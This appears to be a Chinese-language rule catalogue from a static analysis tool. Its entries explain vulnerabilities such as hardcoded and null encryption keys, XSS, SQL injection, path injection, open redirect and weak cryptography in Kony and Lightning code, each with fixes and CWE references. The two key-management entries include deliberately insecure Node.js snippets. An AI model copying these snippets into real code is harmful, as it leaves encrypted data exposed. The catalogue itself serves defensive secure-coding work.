解释	使用硬编码方式处理加密密钥绝非好方法，因为这样所有项目开发人员都能查看该加密密钥，而且还会使解决这一问题变得极其困难。在代码投入使用之后，必须对软件进行修补才能更改加密密钥。如果受加密密钥保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。
	在这种情况下，加密密钥位于 X（文件）中第 N 行的 YY（函数）。
	示例 1：以下代码使用了硬编码加密密钥：
	...
	var crypto = require('crypto');
	var encryptionKey = "lakdsljkalkjlksdfkl";
	var algorithm = 'aes-256-ctr';
	var cipher = crypto.createCipher(algorithm, encryptionKey);
	...
	任何可访问该代码的人都能访问加密密钥。在应用程序发布之后，除非对程序进行修补，否则将无法更改加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。如果攻击者可以访问应用程序的可执行文件，他们就可以提取加密密钥值。

建议	请勿对加密密钥进行硬编码，而应对加密密钥加以模糊化，并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥，任何有足够权限的人即可读取加密密钥，还可能误用这些密码。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Null Encryption Key**
默认严重性	3.0
摘要	null 加密密钥可能会削弱安全性，一旦出现安全问题将无法轻易修正。

解释	请勿使用 null 加密密钥，因为这样将会大幅减弱由优质加密算法提供的保护强度，并会大大增加解决问题的难度。一旦问题代码投入使用，要更改 null 加密密钥，就必须进行软件修补。如果受 null 加密密钥保护的帐户遭受入侵，系统所有者就必须在安全性和可用性之间做出选择。
	在这种情况下，null 加密密钥位于 X（文件） 中 YY（函数） 处的第 N 行。
	示例 1：以下代码会使用 null 加密密钥执行 AES 加密：
	...
	var crypto = require('crypto');
	var encryptionKey = null;
	var algorithm = 'aes-256-ctr';
	var cipher = crypto.createCipher(algorithm, encryptionKey);
	...
	不仅任何可以访问此代码的人能够确定它使用的是 null 加密密钥，而且任何掌握最基本破解技术的人都更有可能成功解密任何加密数据。一旦应用程序发布，要更改 null 加密密钥，就必须进行软件修补。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件，他们也可以提取使用了 null 加密密钥的证据。

建议	加密密钥绝不能为 null，而应对其加以模糊化，并在外部源中进行管理。在系统中的任何位置采用明文的形式存储加密密钥（null 或非 null），会造成任何有足够权限的人均可读取和无意中误用此加密密钥。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Kony Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可通过外部输入 XX（元素） 将恶意负载注入受害者的浏览器。这会被浏览器通过 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后浏览器会自己执行此代码。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 攻击者可使用社交工程技术（错误格式的链接或其他方式）说服受害者使用攻击者的代码。这将使攻击者能够控制用户使用 Web 应用程序的体验、劫持浏览器以更改显示的网页、加载网络钓鱼攻击以及执行任意脚本。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。 在这种情况下，浏览器会读取不可信任的代码，并在客户端执行。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。

返回目录

	为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。 在客户端，不要使用任何形式的动态代码评估不可信任的数据。只有硬编码命令可以使用动态评估。
CWE	CWE ID 94
OWASP2017	None

返回目录

漏洞名称	**Kony Deprecated Functions**
默认严重性	2
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	None

返回目录

漏洞名称	**Kony Hardcoded EncryptionKey**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XX（元素） 变量分配了硬编码的文本值。此静态值用作加密密钥。
解释	源代码中的静态、不可更改的加密密钥会被能访问源代码或应用程序二进制文件的攻击者窃取。攻击者拥有加密密钥后，即可用其访问任何已加密的秘密数据，从而使数据失去保密性。此外，被窃取后，还无法更换加密密钥。请注意，如果这是可以多次安装的产品，则加密密钥将总是相同，使攻击者能够以相同的方式破解所有实例。 如果此加密密钥是硬编码到客户端代码中的，则此密钥会特别容易被攻击者窃取，因为攻击者可能会有此 runtime 的访问权限。 应用程序代码使用一个加密密钥来加密和解密敏感数据。尽管此加密密钥遵循了随机创建且要保密的重要法则，但应用程序会在源代码中以纯文本形式嵌入一个静态密钥。 攻击者可能获得对源代码的访问权——无论是在源代码控制系统、开发人员工作站中、还是在服务器文件系统或产品二进制文件本身中。攻击者获得源代码的访问权限后，即可轻松检索纯文本的加密密钥，并用它解密应用程序保护的敏感数据。
建议	通用指南： 请不要使用纯文本格式存储任何敏感信息，例如加密密钥。 切勿硬编码应用程序源代码中的加密密钥。 使用合适的密钥管理，包括动态生成随机密钥、保护密钥、并根据需要更换密钥。 具体建议： 删除应用程序源代码中硬编码的加密密钥。相反，从外部受保护的存储中检索密钥。
CWE	CWE ID 321
OWASP2017	None

返回目录

漏洞名称	**Kony Information Leakage**
默认严重性	5
摘要	Y（文件） 文件第 M 行中 YY（元素） 生成的密码字段不使用密码字段屏蔽，这使其成为目视可读的内容。
解释	不使用屏蔽的密码字段可能会使正在观看用户屏幕的任何人看到密码。 密码字段应一直隐藏输入的密码，以防止任何旁观者或监视者在设备屏幕上看到密码。为此，可以采用密码屏蔽（将密码转换为空白字符（例如星号）），以向用户提供键入反馈，同时避免公开此值。
建议	一定要为输入的系列数据使用屏蔽，以免将其泄漏给观察者。
CWE	CWE ID 319
OWASP2017	None

返回目录

漏洞名称	**Kony Path Injection**
默认严重性	5
摘要	通过 X（文件） 文件第 N 行中的 XXX（方法） 获取的输入被用于确定 Y（文件） 文件第 M 行中 YYY（方法） 方法要读取的文件，这可能会泄漏该文件的内容。
解释	如果攻击者可以公开攻击者选择的任意文件，攻击者就可能公开包含用户或系统凭证、个人或财务信息的敏感文件，以及服务器上的其他敏感文件。攻击者还可能会公开应用程序源代码以进一步分析，从而研究、改进和升级攻击者对应用程序的攻击。 如果攻击者可以通过提供输入确定要读取的文件，而且这些输入未针对文件系统元字符（例如斜杠）进行净化，攻击者就可能选择读取预期范围外的任意文件，从而泄露这些文件的内容。
建议	考虑使用静态解决方案来读取文件，例如使用允许读取的文件列表，或者使用其他文件存储解决方案（如数据库） 如果确实需要从磁盘读取本地文件，一定要保证从特定的文件夹中读取文件，并限制代码只能访问此文件夹 用户提供要读取的文件名时，要避免用户操纵路径访问意外目录，方法是净化文件名中的文件系统元字符，例如： Slashes (/,\) Dot (.) Tilde (~)
CWE	CWE ID 73
OWASP2017	None

返回目录

漏洞名称	**Kony Reflected XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Kony Second Order SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者可将任意数据写入本地数据库或浏览器 cookie。然后这些数据会被应用程序使用 X（文件） 文件第 N 行 XXX（方法） 方法中的 XX（元素） 检索。然后这些数据传递到代码，未经净化便在 SQL 查询中直接使用，然后提交回本地数据库执行。 这可能使客户端受到二
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 此漏洞虽然影响范围很大，但只会影响存储在客户端上的数据。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 为了利用此漏洞，攻击者通常会通过应用程序中的其他表单将恶意负载加载到数据库中。然后，应用程序从数据库中读取这些数据，并将其作为 SQL 命令嵌入 SQL 查询。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。

返回目录

	不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。 另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	None

返回目录

漏洞名称	**Kony SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者可以通过修改外部输入 XX（元素） 在 SQL 查询中注入任意数据，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后该值无需净化即可经代码到达本地数据库。 这可能使客户端受到 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 此漏洞虽然影响范围很大，但只会影响存储在客户端上的数据。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 如果攻击者能够影响插入原始查询的值的来源，攻击者就可以利用此漏洞。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。 不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。

返回目录

	另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	None

返回目录

漏洞名称	**Kony Stored Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可通过外部输入 XX（元素） 将恶意负载注入受害者的浏览器。这会被浏览器通过 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后浏览器会自己执行此代码。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 攻击者可使用社交工程技术（错误格式的链接或其他方式）说服受害者使用攻击者的代码。这将使攻击者能够控制用户使用 Web 应用程序的体验、劫持浏览器以更改显示的网页、加载网络钓鱼攻击以及执行任意脚本。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。 在这种情况下，浏览器会读取不可信任的代码，并在客户端执行。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。

返回目录

	为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。 在客户端，不要使用任何形式的动态代码评估不可信任的数据。只有硬编码命令可以使用动态评估。
CWE	CWE ID 94
OWASP2017	None

返回目录

漏洞名称	**Kony Stored XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM、从某些客户端存储中提取数据并意外引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Kony Unsecure Browser Configuration**
默认严重性	5
摘要	应用程序使用了通过 Y（文件） 文件第 M 行 YY（元素） 属性以不安全的方式配置的浏览器。设置属性 'enableNativeCommunication' 会使 Web 应用程序能够访问 Web 应用程序的 javascript 代码中的 Kony 原生功能。
解释	设置属性 "enableNativeCommunication" 会使得可以在应用程序的 Web 浏览器上运行任意 javascript 函数，并使用户面临各种风险，例如 XSS、信息泄漏等。 如果将 "enableNativeCommunication" 属性设置为 true，应用程序就可以调用 kony.evaluateJavaScriptInNativeContext API 在应用程序浏览器的上下文中执行 Kony Javascript 函数。
建议	为本地打包的上下文使用 'enableNativeCommunication' 属性，不要为动态下载的内容使用。 如果此属性是必需的，Kony 强烈建议仅在 API 17 及更高版本的 Android 设备上启用该属性。切勿在较低的 API 版本上使用此功能。
CWE	CWE ID 15
OWASP2017	None

返回目录

漏洞名称	**Kony Unsecure iOSBrowser Configuration**
默认严重性	5
摘要	应用程序在 Y（文件） 文件第 M 行调用了一个浏览器对象但未设置 'baseURL' 特性。
解释	未设置 "baseURL" 特性的浏览器可能导致： 如果 URL 中含有以 "javascript:" 为前缀的污染的输入，则导致普通 XSS 如果受污染的输入含有指向本地文件的 URL，则导致路径遍历和文件暴露 创建了一个浏览器对象，但未正确地设置 "baseURL" 的值。
建议	设置 baseURL 的值，确保浏览器上下文已正确地设置到可信任域或本地文件的值。
CWE	CWE ID 15
OWASP2017	None

返回目录

漏洞名称	**Kony URL Injection**
默认严重性	4
摘要	X（文件） 文件第 N 行 XX（元素） 元素提供的可能被污染的值被 Y（文件） 文件第 M 行 YY（元素） 元素用作目标 URL，这可能使攻击者可以执行开放重定向。
解释	攻击者可能使用社交工程让受害者点击指向此应用程序的某个链接，以此方式将用户立即重定向到另一个攻击者选好的另一个网站。然后攻击者可以伪造一个目标网站来欺骗受害者；例如，攻击者可能伪造一个钓鱼网站，其 UI 外观与之前网站的登录页面相同，其 URL 看起来与之前网站的相似，以此蒙骗用户在此攻击者的网站上提交自己的访问凭证。再比如，某些钓鱼网站的 UI 外观与常用支付服务的相同，以此蒙骗用户提交自己的支付信息。 应用程序将用户的浏览器重定向到由污染的输入提供的 URL，而未能先确保 URL 定向到可信任的目标，也未警告用户他们将被重定向到当前网站外部。攻击者可能使用社交工程让受害者点击指向此应用程序的链接，其中使用参数定义了另一个网站，以使应用程序将用户的浏览器重定向到此网站。因为用户可能没有注意到被重定向，他们可能会误以为他们当前浏览的网站是可信任的。
建议	理想情况下，不要允许任意 URL 进行重定向。而要创建由用户提供的参数值到合法 URL 的映射。 如果需要允许任意 URL: 对于应用程序站点内的 URL，先对用户提供的参数进行过滤和编码，然后执行以下操作之一: 创建在应用程序内允许的 URL 的白名单 将变量以同样的方式用作相对和绝对 URL，方法是为变量添加应用程序网站域的前缀 - 这可保证所有重定向都发生在域内 对于应用程序外的 URL（如必要），执行以下操作之一: 先通过可信任的前缀来筛选 URL，之后通过白名单重定向到所允许的外部域。前缀必须测试到第三个斜杠 [/] - scheme://my.trusted.domain.com/，以排除规避。例如，如果未验证到第三个斜杠 [/] 且 scheme://my.trusted.domain.com 是可信任的，则此过滤器会认为 URL scheme://my.trusted.domain.com.evildomain.com 是有效的，但实际浏览的域是 evildomain.com，而不是 domain.com。 为了实现完全动态开放重定向，请使用一个中间免责声明页面来明确警告用户正在离开此站点。
CWE	CWE ID 601
OWASP2017	None

返回目录

漏洞名称	**Kony Use WeakEncryption**
默认严重性	4
摘要	应用程序在 Y（文件） 文件第 M 行的 YY（元素） 中使用弱加密。
解释	强烈建议不要使用客户端侧密码加密；所有加密都会完全暴露给 DOM，包括加密密钥、加密实现等，使得任何可以访问 DOM 的人都能访问到此信息——特别是如果所有客户端都有相同的重要密码加密参数时（如密钥）。 但是，如果确实需要在客户端上执行密码加密，建议使用强加密术；如果是弱加密术，可以针对加密的数据暴力破解，使攻击者能够检索到其内容。 客户端代码中使用了弱加密方法。
建议	尽量避免在客户端上使用密码加密： 密码加密应在服务器上完成 应通过正确且安全的 TLS 实现保证传输数据的保密性和完整性 切勿将敏感数据保存在浏览器中，即使已经过加密 如果有需要，请使用安全的加密和处理方式： 使用密码加密的安全算法，例如 AES 如果不是在多个数据集之间重用加密密钥——使用安全的假随机数生成器生成这些密钥，或用户提供的密钥；切勿在代码中将密钥硬编码为字符串文本 在多个数据集之间重用加密密钥——确保密钥是唯一的，使用户永远不会共享密钥（除非明确有意如此），并安全地传输和保存
CWE	CWE ID 326
OWASP2017	None

返回目录

漏洞名称	**Kony Use WeakHash**
默认严重性	4
摘要	应用程序在 Y（文件） 文件第 M 行使用弱 hash 函数 YY（元素）。
解释	应用程序通过加密保护机密和其他敏感数据或个人身份识别数据。如果加密实现中有缺陷，就可能影响应用程序数据的完整性、真实性或机密性。 散列函数在加密方面有很多种用途，但大部分都与密钥派生函数和签名有关。如果以不安全的方式使用散列函数，就会影响密码散列或签名的完整性和机密性。 应用程序的加密相关功能有问题。 应用程序使用弱 hash 原语。MD4、MD5、SHA-1 等已被发现冲突和其他弱点，使得它们不适合现在的部署。
建议	将 hash 函数更新为更安全的替代方法，例如： HMAC-SHA1 SHA-2 系列 hash
CWE	CWE ID 328
OWASP2017	None

返回目录

漏洞名称	**Lightning DOM XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Lightning Stored XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可以通过提前在数据存储中保存恶意数据来更改返回的网页。然后 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素）从数据库读取攻击者修改的数据。然后这些不可信任的数据无需净化即可经代码到达输出网页。 这样就可以发起存储跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可以使用应用程序的合法权限提交修改后的数据到应用程序的数据存储。然后这会被用于构造返回的网页，从而触发攻击。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 为了利用此漏洞，攻击者通常会通过其他网页上的常规表单将恶意负载加载到数据存储中。然后，应用程序从数据存储中读取这些数据，并将其嵌入显示给另一个用户的网页。
